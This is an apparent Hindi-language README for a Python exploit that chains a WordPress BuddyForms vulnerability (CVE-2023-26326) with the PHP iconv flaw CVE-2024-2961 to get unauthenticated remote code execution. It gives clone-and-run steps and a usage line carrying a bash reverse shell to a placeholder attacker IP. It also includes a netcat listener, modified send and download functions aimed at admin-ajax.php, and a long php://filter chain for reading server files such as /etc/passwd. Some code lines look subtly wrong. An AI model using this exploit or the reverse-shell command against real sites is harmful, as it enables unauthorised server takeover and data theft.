
CVE-2023-26326 (WordPress BuddyForms) के लिए Python एक्सप्लॉइट जो PHP 8+ पर php://filter के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करने के लिए CVE-2024-2961 के साथ जुड़ा हुआ है।
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
मूल रूप से, CVE-2023–26326 को deserialization भेद्यता के रूप में शोषण करने के लिए gadget chains की आवश्यकता थी। PHP 8+ पर चलने वाली नई WordPress साइटों पर यह विधि अब संभव नहीं है; हालाँकि, CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) के साथ चेन करके, यह शोषण phar:// के बजाय php://filter के माध्यम से संभव हो जाता है।
यह एक्सप्लॉइट cnext-exploit.py स्क्रिप्ट को संशोधित करके बनाया गया था, जिसमें CVE-2023-26326 के लिए आवश्यक परिवर्तन शामिल किए गए, जैसा कि परिवर्तन विवरण में विस्तार से वर्णित है।
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> पर netcat listener शुरू करें:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
एक्सप्लॉइट निष्पादित करने का स्क्रीनशॉट
रिवर्स शेल पकड़ने का स्क्रीनशॉट
CVE-2024-2961 एक्सप्लॉइट का मूल विचार बरकरार रखा गया था, लेकिन इसे वेबसाइट पर फ़िल्टर चेन भेजने और सर्वर से फ़ाइलें डाउनलोड करने के लिए अनुकूलित करने हेतु संशोधन आवश्यक थे।
मूल एक्सप्लॉइट में, send फ़ंक्शन का उपयोग सर्वर को एक पथ भेजने के लिए किया जाता है:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
BuddyForms के साथ WordPress के लिए, इंटरैक्शन डिफ़ॉल्ट रूप से /wp-admin/admin-ajax.php पर POST अनुरोध के माध्यम से होता है, जहाँ बॉडी डेटा में action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif होता है। URL पैरामीटर सर्वर को फ़िल्टर चेन भेजने के लिए इंजेक्शन बिंदु के रूप में कार्य करता है। इसके परिणामस्वरूप send फ़ंक्शन में निम्नलिखित संशोधन किया गया:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
मूल एक्सप्लॉइट में एक download फ़ंक्शन था, जो सर्वर से फ़ाइलें डाउनलोड करने के लिए ज़िम्मेदार था। मूल एक्सप्लॉइट में download फ़ंक्शन का निम्नलिखित संस्करण उपयोग किया गया है:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
इसे BuddyForms के अनुकूल बनाने के लिए, हम buddyforms_upload_image_from_url फ़ंक्शन का विश्लेषण करते हैं, जो URL से इमेज अपलोड करने को संभालता है। यह file_get_contents का उपयोग करता है, getimagesize() के साथ फ़ाइल प्रकार की जाँच करता है, और फिर सामग्री को wp-content/uploads निर्देशिका के अंतर्गत सहेजता है। यह हमें स्थानीय फ़ाइलों को पढ़ने और उन्हें uploads निर्देशिका में सहेजने के लिए php://filter का शोषण करने की अनुमति देता है, जिससे वे URL के माध्यम से सुलभ हो जाती हैं। हालाँकि, फ़ाइल जाँच को बायपास करने के लिए हमें फ़ाइल सामग्री के आरंभ में GIF89a जोड़कर उसे GIF के रूप में प्रस्तुत करना होगा। यह filter chaining का उपयोग करके किया जा सकता है, और wrapwrap टूल आवश्यक चेन उत्पन्न कर सकता है:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
wrapwrap के साथ फ़िल्टर चेन उत्पन्न करना
इस उत्पन्न फ़िल्टर चेन को मूल स्क्रिप्ट में प्रयुक्त base64 एन्कोडिंग का स्थान लेना चाहिए। इसके अतिरिक्त, प्रतिक्रिया से अपलोड की गई फ़ाइल का पथ निकालने हेतु प्रारूप को अद्यतन करने की आवश्यकता है, ताकि JSON प्रारूप को समायोजित किया जा सके, जिसमें फ़ाइल पथ पर सेट "response" विशेषता शामिल होती है।
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
ध्यान दें कि एक्सप्लॉइट में फ़ाइल सामग्री का उपयोग करने से पहले GIF89a उपसर्ग हटा दिया जाना चाहिए, जिसके परिणामस्वरूप निम्नलिखित संशोधित download फ़ंक्शन प्राप्त होता है:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6 डाउनलोड करनाकृपया ध्यान दें कि सर्वर से libc.so.6 फ़ाइल डाउनलोड करना फ़िल्टर चेन के साथ सही ढंग से काम नहीं कर सकता है, क्योंकि प्रक्रिया के दौरान बाइनरी संशोधित हो जाती है। इसके बजाय, सही फ़ाइल एक्सप्लॉइट की रूट निर्देशिका में उपलब्ध कराई जानी चाहिए।